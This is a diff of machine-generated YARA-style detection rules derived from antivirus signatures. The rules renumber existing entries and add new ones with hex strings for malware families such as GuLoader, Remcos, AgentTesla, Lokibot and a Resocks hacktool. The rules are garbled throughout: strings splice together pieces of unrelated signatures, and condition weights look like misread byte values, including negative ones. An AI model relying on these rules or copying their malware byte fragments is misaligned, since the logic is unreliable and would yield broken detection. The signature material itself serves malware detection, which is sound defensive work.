11 81 01 41 6e 6e 61 6c 69 73 74 69 73 6b 65 73 2e 69 6e 69 01 00 13 81 01 41 73 73 6f 63 69 65 65 72 6e 65 73 31 33 32 2e 6a 70 67 01 00 11 81 01 45 6e } //385 + $a_74_9 = {65 64 65 31 32 34 2e 6a 70 67 01 00 16 81 01 46 6f 6c 6b 65 62 69 62 6c 69 6f 74 65 6b 65 72 33 38 2e 6a 70 67 01 00 0e 81 01 62 6f 62 62 79 73 6f 63 6b 73 2e 67 6c 6f 01 00 0f 81 01 66 6f 72 74 73 74 74 65 72 65 73 2e 69 6e 69 01 00 23 81 01 5c 55 6e 64 69 70 6c 6f 6d 61 74 69 63 61 6c 6c 79 5c 70 61 } //29299 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28483+(#a_00_3 & 1)*109+(#a_00_4 & 1)*97+(#a_2e_5 & 1)*28257+(#a_67_6 & 1)*27182+(#a_01_8 & 1)*2048+(#a_44_9 & 1)*28673) >=10 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28483+(#a_00_3 & 1)*109+(#a_00_4 & 1)*97+(#a_2e_5 & 1)*28257+(#a_67_6 & 1)*27182+(#a_00_7 & 1)*66+(#a_6c_8 & 1)*385+(#a_74_9 & 1)*29299) >=10 } -rule _InfrastructureShared_16822{ +rule _InfrastructureShared_17925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -199027,15 +212304,33 @@ rule _InfrastructureShared_16822{ $a_81_2 = {63 61 74 62 6f 61 74 2e 74 78 74 } //1 catboat.txt $a_81_3 = {64 69 6d 69 74 74 65 72 69 6e 67 65 72 6e 65 2e 6a 70 67 } //1 dimitteringerne.jpg $a_81_4 = {75 64 65 6e 72 69 67 73 70 6f 6c 69 74 69 73 6b 65 2e 69 6e 69 } //1 udenrigspolitiske.ini - $a_16_5 = {00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 4b 41 46 31 34 35 21 4d 54 42 00 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 05 81 01 53 6c 65 65 70 01 00 18 81 } //0 - $a_53_6 = {72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0e 81 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 06 81 01 46 6f 72 6d 61 74 01 00 11 81 01 70 62 44 65 62 75 67 67 65 72 50 72 65 73 } //17409 - $a_01_7 = {00 0c 81 01 4e 43 58 56 4e 43 47 4a 4a 44 46 24 01 00 25 81 01 24 39 30 36 32 32 61 36 38 2d 66 37 65 65 2d 34 62 30 33 2d 39 61 31 62 2d 61 66 38 30 39 38 35 37 32 32 62 35 01 00 10 81 01 54 6b 4e 59 56 6b 35 44 52 30 70 4b 52 45 59 6b 00 00 78 16 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 74 65 6c 65 67 61 2e 52 45 49 21 4d } //28261 - $a_46_9 = {6f } //4096 o + $a_16_5 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 48 21 4d 54 42 00 01 00 0f 81 01 41 6c 63 69 63 6f 72 6e 69 75 6d 2e 69 6e 69 01 00 11 81 01 41 6e 6e 61 6c 69 73 74 69 73 6b 65 73 2e 69 6e 69 01 00 13 81 01 41 73 73 6f 63 69 65 65 72 6e 65 73 31 33 32 2e 6a 70 67 01 00 11 81 01 45 6e 73 72 65 } //0 + $a_64_6 = {31 32 34 2e 6a 70 67 01 00 16 81 01 46 6f 6c 6b 65 62 69 62 6c 69 6f 74 65 6b 65 72 33 38 2e 6a 70 67 01 00 0e 81 01 62 6f 62 62 79 73 6f 63 6b 73 2e 67 6c 6f 01 00 0f 81 01 66 6f 72 74 73 74 74 65 72 65 73 2e 69 6e 69 01 00 23 81 01 5c 55 6e 64 69 70 6c 6f 6d 61 74 69 63 61 6c 6c 79 5c 70 61 73 73 65 } //29812 + $a_6f_7 = {6d 65 73 2e 69 6e 69 01 00 12 81 01 62 65 61 74 69 5c 4d 75 73 74 61 66 75 7a 2e 6a 70 67 01 00 0b 81 01 5c 42 75 63 63 61 6c 2e 74 78 74 00 00 78 16 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 4b 41 46 31 34 35 21 4d 54 42 00 01 00 08 81 01 45 } //26994 + $a_64_8 = {6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 05 81 01 53 6c 65 65 70 01 00 18 81 01 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0e 81 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 06 } //25454 + $a_6f_9 = {6d 61 74 01 00 11 81 01 70 62 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0c 81 01 4e 43 58 56 4e 43 47 4a 4a 44 46 24 01 00 25 81 01 24 39 30 36 32 32 61 36 38 2d 66 37 65 65 2d 34 62 30 33 2d 39 61 31 } //385 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24946+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_16_5 & 1)*0+(#a_53_6 & 1)*17409+(#a_01_7 & 1)*28261+(#a_46_9 & 1)*4096) >=10 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24946+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_16_5 & 1)*0+(#a_64_6 & 1)*29812+(#a_6f_7 & 1)*26994+(#a_64_8 & 1)*25454+(#a_6f_9 & 1)*385) >=10 } -rule _InfrastructureShared_16823{ +rule _InfrastructureShared_17926{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 48 21 4d 54 42 00 01 00 0f 81 01 41 6c 63 69 63 6f 72 6e 69 75 6d 2e 69 6e 69 01 00 11 81 01 41 6e 6e 61 6c 69 73 74 69 73 6b 65 73 2e 69 6e 69 01 00 13 81 01 41 73 73 6f 63 } //18467 + $a_72_1 = {65 73 31 33 32 2e 6a 70 67 01 00 11 81 01 45 6e 73 72 65 74 74 65 64 65 31 32 34 2e 6a 70 67 01 00 16 81 01 46 6f 6c 6b 65 62 69 62 6c 69 6f 74 65 6b 65 72 33 38 2e 6a 70 67 01 00 0e 81 01 62 6f 62 62 79 73 6f 63 6b 73 2e 67 6c 6f 01 00 0f 81 01 66 6f 72 74 73 74 74 65 72 65 73 2e 69 6e 69 01 00 23 81 } //25961 + $a_6e_2 = {69 70 6c 6f 6d 61 74 69 63 61 6c 6c 79 5c 70 61 73 73 65 72 69 66 6f 72 6d 65 73 2e 69 6e 69 01 00 12 81 01 62 65 61 74 69 5c 4d 75 73 74 61 66 75 7a 2e 6a 70 67 01 00 0b 81 01 5c 42 75 63 63 61 6c 2e 74 78 74 00 00 78 16 01 00 0c 00 0c 00 0c 00 21 23 48 } //23553 + $a_3a_3 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 4b 41 46 31 34 35 21 4d 54 42 00 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 } //21587 + $a_53_4 = {72 69 6e 67 01 00 05 81 01 53 6c 65 65 70 01 00 18 81 01 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0e 81 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 06 81 01 46 6f 72 6d 61 74 01 00 11 81 01 70 62 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0c 81 01 4e 43 58 56 4e 43 47 4a 4a 44 46 24 01 00 25 81 } //25927 + $a_30_5 = {32 32 61 36 38 2d 66 37 65 65 2d 34 62 30 33 2d 39 61 31 62 2d 61 66 38 30 39 38 35 37 32 32 62 35 01 00 10 81 01 54 6b 4e 59 56 6b 35 44 52 30 70 4b 52 45 59 6b 00 00 78 } //9217 + $a_48_8 = {54 52 3a 4d 53 49 4c 2f 53 74 65 6c 65 67 61 2e 52 45 49 21 4d 54 42 00 01 00 10 01 46 72 6f 6d 42 61 73 } //8448 + $a_53_9 = {72 69 6e 67 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 12 01 43 72 65 } //13925 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25961+(#a_6e_2 & 1)*23553+(#a_3a_3 & 1)*21587+(#a_53_4 & 1)*25927+(#a_30_5 & 1)*9217+(#a_48_8 & 1)*8448+(#a_53_9 & 1)*13925) >=10 + +} +rule _InfrastructureShared_17927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -199053,7 +212348,7 @@ rule _InfrastructureShared_16823{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_56_2 & 1)*17230+(#a_49_3 & 1)*19770+(#a_74_4 & 1)*25970+(#a_52_5 & 1)*276+(#a_64_7 & 1)*24833+(#a_00_9 & 1)*49+(#a_2e_11 & 1)*656) >=12 } -rule _InfrastructureShared_16824{ +rule _InfrastructureShared_17928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -199074,7 +212369,7 @@ rule _InfrastructureShared_16824{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_16_11 & 1)*0) >=13 } -rule _InfrastructureShared_16825{ +rule _InfrastructureShared_17929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -199089,7 +212384,7 @@ rule _InfrastructureShared_16825{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*103+(#a_57_3 & 1)*29812+(#a_53_4 & 1)*25975+(#a_01_5 & 1)*28532+(#a_30_6 & 1)*17476) >=14 } -rule _InfrastructureShared_16826{ +rule _InfrastructureShared_17930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 08 00 21 " @@ -199100,13 +212395,13 @@ rule _InfrastructureShared_16826{ $a_44_3 = {35 30 35 21 4d 54 42 00 0a 00 2a 81 01 4f 49 55 54 45 52 53 57 42 41 4a 48 47 46 46 44 53 41 46 48 4b 4f 49 4d 4e 59 48 47 54 54 52 46 47 44 52 43 46 45 53 45 57 44 0a 00 39 81 01 50 4c 4f 4b 4e 4d 4a 49 55 48 42 56 47 59 54 46 43 } //16686 $a_45_4 = {5a 41 57 51 41 5a 41 44 46 47 46 54 46 47 59 43 54 59 59 54 52 44 45 58 47 59 55 56 55 49 47 48 48 55 49 01 00 0c 81 01 47 65 74 48 49 4e 53 54 41 4e 43 45 02 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 02 00 } //17496 $a_53_5 = {62 } //-32503 b - $a_69_6 = {67 02 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 08 81 01 47 65 74 54 79 70 65 73 02 00 07 81 01 54 6f 41 72 72 61 79 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 00 78 17 01 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4a 4a 57 6f 72 64 2e 41 31 00 01 00 4a 01 44 00 41 00 76 00 30 00 41 00 62 00 6b 00 41 00 46 00 41 00 } //29811 - $a_00_7 = {41 00 32 00 38 00 41 00 66 00 77 00 76 00 31 00 41 00 62 00 41 00 41 00 43 00 41 00 76 00 4b 00 41 00 62 00 6b 00 41 00 43 00 6b 00 41 00 55 00 41 00 01 00 56 01 } //65 + $a_69_6 = {67 02 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 08 81 01 47 65 74 54 79 70 65 73 02 00 07 81 01 54 6f 41 72 72 61 79 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 00 78 16 01 00 1f 00 1f 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 36 34 2f 52 65 73 6f 63 6b 73 2e 41 00 0a 00 0e 01 47 6f 20 62 75 69 } //29811 + $a_49_7 = {3a 20 22 0a 00 24 01 67 69 74 68 75 62 2e 63 6f 6d 2f 52 65 64 54 65 61 6d 50 65 6e 74 65 73 74 } //25708 condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27749+(#a_72_2 & 1)*29793+(#a_44_3 & 1)*16686+(#a_45_4 & 1)*17496+(#a_53_5 & 1)*-32503+(#a_69_6 & 1)*29811+(#a_00_7 & 1)*65) >=24 + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27749+(#a_72_2 & 1)*29793+(#a_44_3 & 1)*16686+(#a_45_4 & 1)*17496+(#a_53_5 & 1)*-32503+(#a_69_6 & 1)*29811+(#a_49_7 & 1)*25708) >=24 } -rule _InfrastructureShared_16827{ +rule _InfrastructureShared_17931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0a 00 21 " @@ -199125,7 +212420,24 @@ rule _InfrastructureShared_16827{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*10+(#a_81_2 & 1)*1+(#a_81_3 & 1)*2+(#a_81_4 & 1)*1+(#a_81_5 & 1)*2+(#a_81_6 & 1)*2+(#a_81_7 & 1)*1+(#a_81_8 & 1)*2+(#a_00_9 & 1)*1) >=26 } -rule _InfrastructureShared_16828{ +rule _InfrastructureShared_17932{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 08 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 36 34 2f 52 65 73 6f 63 6b 73 2e 41 00 0a 00 0e 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 0a 00 24 01 67 69 74 68 75 62 2e 63 6f 6d 2f 52 65 64 54 65 61 6d 50 65 6e 74 65 73 74 69 6e 67 2f } //16675 + $a_6f_1 = {6b 73 0a 00 22 01 67 69 74 68 75 62 2e 63 6f 6d 2f 52 65 64 54 65 61 6d 50 65 6e 74 65 73 74 69 6e 67 2f 6b 62 74 6c 73 01 00 1e 01 6d 61 69 6e 2e 52 75 6e 52 65 6c 61 79 57 69 74 68 45 76 65 6e 74 43 61 6c 6c 62 61 63 6b 01 00 18 01 6d 61 69 6e 2e 72 75 6e 52 65 6d 6f 74 65 50 72 6f 78 79 52 65 6c 61 79 01 00 18 01 6d 61 69 6e 2e 63 6f 6e 6e } //25970 + $a_42_2 = {63 6b 41 6e 64 52 65 6c 61 79 01 00 21 01 6d 61 69 6e 2e 43 6c 69 65 6e 74 54 4c 53 43 6f 6e 66 69 67 46 6f 72 43 6c 69 65 6e 74 4e 61 6d 65 01 00 0c 01 70 72 6f 78 79 2d 3e 72 65 6c 61 79 00 00 78 17 01 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4a 4a 57 6f 72 64 2e 41 31 00 01 00 4a 01 44 00 41 00 76 00 30 00 41 00 62 00 6b 00 41 00 46 00 41 00 } //25445 + $a_00_3 = {41 00 32 00 38 00 41 00 66 00 77 00 76 00 31 00 41 00 62 00 41 00 41 00 43 00 41 00 76 00 4b 00 41 00 62 00 6b 00 41 00 43 00 6b 00 41 00 55 00 41 00 01 00 56 01 } //65 + $a_00_4 = {41 00 44 00 4a 00 76 00 33 00 41 00 61 00 38 00 41 00 46 00 4a 00 76 00 6e 00 41 00 32 00 34 00 41 00 35 00 77 00 76 00 56 00 41 00 61 00 30 00 41 00 66 00 77 00 76 00 73 00 41 00 32 00 34 00 41 00 44 00 4a 00 76 00 77 00 41 00 61 00 46 00 41 00 } //97 ADJv3Aa8AFJvnA24A5wvVAa0AfwvsA24ADJvwAaFA + $a_01_5 = {41 00 48 00 77 00 76 00 7a 00 41 00 61 00 59 00 41 00 43 00 4a 00 76 00 6f 00 41 00 62 00 30 00 41 00 64 00 4a 00 76 00 4b 00 41 00 61 00 67 00 41 00 47 00 41 00 41 00 39 00 41 00 58 00 67 00 41 00 67 00 41 00 41 00 77 00 41 00 41 00 3d 00 3d 00 } //1 AHwvzAaYACJvoAb0AdJvKAagAGAA9AXgAgAAwAA== + $a_17_6 = {00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 43 43 47 31 32 33 21 4d 54 42 00 01 00 75 03 13 07 14 0b 2b 0c 00 28 90 01 01 00 00 06 0b de 03 26 de 00 07 2c f1 73 90 01 01 00 00 0a 0c 07 73 90 01 01 00 00 0a 13 04 11 04 11 07 16 73 90 01 01 00 00 0a 13 05 11 05 08 6f 90 01 01 00 00 0a 08 6f } //0 + $a_00_7 = {00 } //400 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25970+(#a_42_2 & 1)*25445+(#a_00_3 & 1)*65+(#a_00_4 & 1)*97+(#a_01_5 & 1)*1+(#a_17_6 & 1)*0+(#a_00_7 & 1)*400) >=31 + +} +rule _InfrastructureShared_17933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -199136,7 +212448,7 @@ rule _InfrastructureShared_16828{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65) >=1 } -rule _InfrastructureShared_16829{ +rule _InfrastructureShared_17934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -199147,7 +212459,19 @@ rule _InfrastructureShared_16829{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*1809) >=2 } -rule _InfrastructureShared_16830{ +rule _InfrastructureShared_17935{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 69 6f 48 61 7a 65 6c 6e 75 74 2e 41 21 64 68 61 00 01 00 29 43 68 00 00 01 00 6a 40 ff 90 01 01 68 00 00 01 00 8b d8 6a 40 89 5d 90 01 01 ff 90 01 01 6a 10 6a 40 89 45 90 01 01 ff } //16675 + $a_00_1 = {21 } //144 ! + $a_10_2 = {8b c4 89 08 8b 4d 90 01 01 89 50 90 01 01 8b 55 90 01 01 89 48 90 01 01 43 89 50 0c 90 00 02 00 92 01 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 33 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 00 78 17 01 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 62 6f 74 2e 53 53 39 21 4d 54 42 00 01 00 9b 01 16 13 0c 38 81 } //-31933 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_10_2 & 1)*-31933) >=2 + +} +rule _InfrastructureShared_17936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -199159,7 +212483,7 @@ rule _InfrastructureShared_16830{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*2560+(#a_11_2 & 1)*4952) >=3 } -rule _InfrastructureShared_16831{ +rule _InfrastructureShared_17937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -199171,7 +212495,7 @@ rule _InfrastructureShared_16831{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*37+(#a_00_3 & 1)*61) >=3 } -rule _InfrastructureShared_16832{ +rule _InfrastructureShared_17938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -199182,7 +212506,7 @@ rule _InfrastructureShared_16832{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13824) >=4 } -rule _InfrastructureShared_16833{ +rule _InfrastructureShared_17939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -199194,7 +212518,21 @@ rule _InfrastructureShared_16833{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*79+(#a_00_3 & 1)*70) >=4 } -rule _InfrastructureShared_16834{ +rule _InfrastructureShared_17940{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 2c 81 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 47 81 01 54 68 65 20 73 65 74 } //18467 + $a_66_1 = {6c 65 73 20 61 72 65 20 63 6f 72 72 75 70 74 65 64 2e 20 50 6c 65 61 73 65 20 6f 62 74 61 69 6e } //28789 les are corrupted. Please obtain + $a_6e_2 = {77 20 63 6f 70 79 20 6f 66 20 74 68 65 20 70 72 6f 67 72 61 6d 2e 01 00 2c 81 01 54 68 69 73 20 } //24864 + $a_74_3 = {6c 6c 61 74 69 6f 6e 20 77 61 73 20 62 75 69 6c 74 20 77 69 74 68 20 49 6e 6e 6f 20 53 65 74 75 70 2e 01 00 1e 81 01 57 6f 77 36 34 44 69 73 61 62 6c 65 57 6f 77 36 34 46 73 52 65 64 69 72 65 63 74 69 6f 6e 01 00 1d 81 01 57 6f 77 36 34 52 65 76 65 72 74 57 6f 77 36 34 46 73 52 65 64 69 72 65 63 74 69 6f 6e 00 00 78 17 01 00 05 00 05 00 05 00 } //28265 + $a_4c_4 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 61 77 6b 45 79 65 2e 4e 45 21 4d 54 42 00 01 00 42 01 46 00 79 00 64 00 41 00 42 00 7a 00 5a 00 58 00 52 00 66 00 53 00 58 00 4e 00 43 00 59 00 57 00 4e } //8993 + condition: + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*28789+(#a_6e_2 & 1)*24864+(#a_74_3 & 1)*28265+(#a_4c_4 & 1)*8993) >=4 + +} +rule _InfrastructureShared_17941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -199206,7 +212544,7 @@ rule _InfrastructureShared_16834{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*107+(#a_00_4 & 1)*77) >=5 } -rule _InfrastructureShared_16835{ +rule _InfrastructureShared_17942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -199219,7 +212557,7 @@ rule _InfrastructureShared_16835{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-30717+(#a_55_2 & 1)*-29950+(#a_63_3 & 1)*25697) >=5 } -rule _InfrastructureShared_16836{ +rule _InfrastructureShared_17943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -199234,7 +212572,7 @@ rule _InfrastructureShared_16836{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24944+(#a_65_2 & 1)*17780+(#a_42_3 & 1)*21761+(#a_56_4 & 1)*22273+(#a_62_5 & 1)*21102) >=5 } -rule _InfrastructureShared_16837{ +rule _InfrastructureShared_17944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 10 00 21 " @@ -199248,7 +212586,7 @@ rule _InfrastructureShared_16837{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*22890+(#a_31_2 & 1)*385+(#a_3d_3 & 1)*27737+(#a_00_4 & 1)*21581) >=5 } -rule _InfrastructureShared_16838{ +rule _InfrastructureShared_17945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -199260,7 +212598,7 @@ rule _InfrastructureShared_16838{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*0+(#a_00_2 & 1)*0) >=6 } -rule _InfrastructureShared_16839{ +rule _InfrastructureShared_17946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -199275,7 +212613,7 @@ rule _InfrastructureShared_16839{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*24948+(#a_66_2 & 1)*28483+(#a_4d_3 & 1)*8499+(#a_65_4 & 1)*24912+(#a_50_5 & 1)*26478) >=6 } -rule _InfrastructureShared_16840{ +rule _InfrastructureShared_17947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -199290,7 +212628,7 @@ rule _InfrastructureShared_16840{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*24938+(#a_72_2 & 1)*21315+(#a_65_3 & 1)*29301+(#a_16_4 & 1)*256+(#a_04_5 & 1)*-28632) >=6 } -rule _InfrastructureShared_16841{ +rule _InfrastructureShared_17948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -199305,7 +212643,7 @@ rule _InfrastructureShared_16841{ ((#a_54_0 & 1)*18467+(#a_1e_1 & 1)*-9705+(#a_00_2 & 1)*400+(#a_1f_3 & 1)*7955+(#a_00_4 & 1)*29795+(#a_70_5 & 1)*385) >=6 } -rule _InfrastructureShared_16842{ +rule _InfrastructureShared_17949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -199320,7 +212658,7 @@ rule _InfrastructureShared_16842{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28530+(#a_74_2 & 1)*30063+(#a_68_3 & 1)*30211+(#a_90_4 & 1)*2302+(#a_39_6 & 1)*21076) >=7 } -rule _InfrastructureShared_16843{ +rule _InfrastructureShared_17950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -199339,7 +212677,7 @@ rule _InfrastructureShared_16843{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_17_9 & 1)*0) >=7 } -rule _InfrastructureShared_16844{ +rule _InfrastructureShared_17951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -199352,7 +212690,7 @@ rule _InfrastructureShared_16844{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*85+(#a_00_3 & 1)*92+(#a_43_4 & 1)*19781) >=10 } -rule _InfrastructureShared_16845{ +rule _InfrastructureShared_17952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0d 00 21 " @@ -199374,7 +212712,7 @@ rule _InfrastructureShared_16845{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25958+(#a_01_2 & 1)*28516+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1) >=10 } -rule _InfrastructureShared_16846{ +rule _InfrastructureShared_17953{ meta: description = 